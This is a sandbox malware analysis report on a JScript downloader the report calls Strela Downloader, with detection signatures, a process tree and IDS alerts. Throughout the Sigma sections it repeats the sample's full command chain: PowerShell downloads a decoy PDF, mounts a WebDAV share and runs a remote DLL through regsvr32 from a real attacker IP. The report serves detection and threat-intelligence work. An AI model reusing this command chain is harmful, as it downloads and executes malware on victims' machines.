Edit tour

Windows Analysis Report
14551240011188825169.js

Overview

General Information

Sample name:	14551240011188825169.js
Analysis ID:	1589020
MD5:	e1cc0285518a61749987df88d97a028f
SHA1:	106bebb5c190ce172030aee1df952aec41027bce
SHA256:	170306df2beb117b2a5629f83149d8c9bec6c78ac76f544784ad462455cbf742
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6708 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1172 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2216 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5912 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1652,i,12950750517814794405,11427539516468304480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2084 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5020 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3352 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6708	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ProcessId: 6708, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5020, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ProcessId: 6708, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5020, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3352, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5020, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 1172, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:31:37.205071+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:31:40.519736+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:31:37.205071+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 14551240011188825169.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 14551240011188825169.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49712 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:31:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
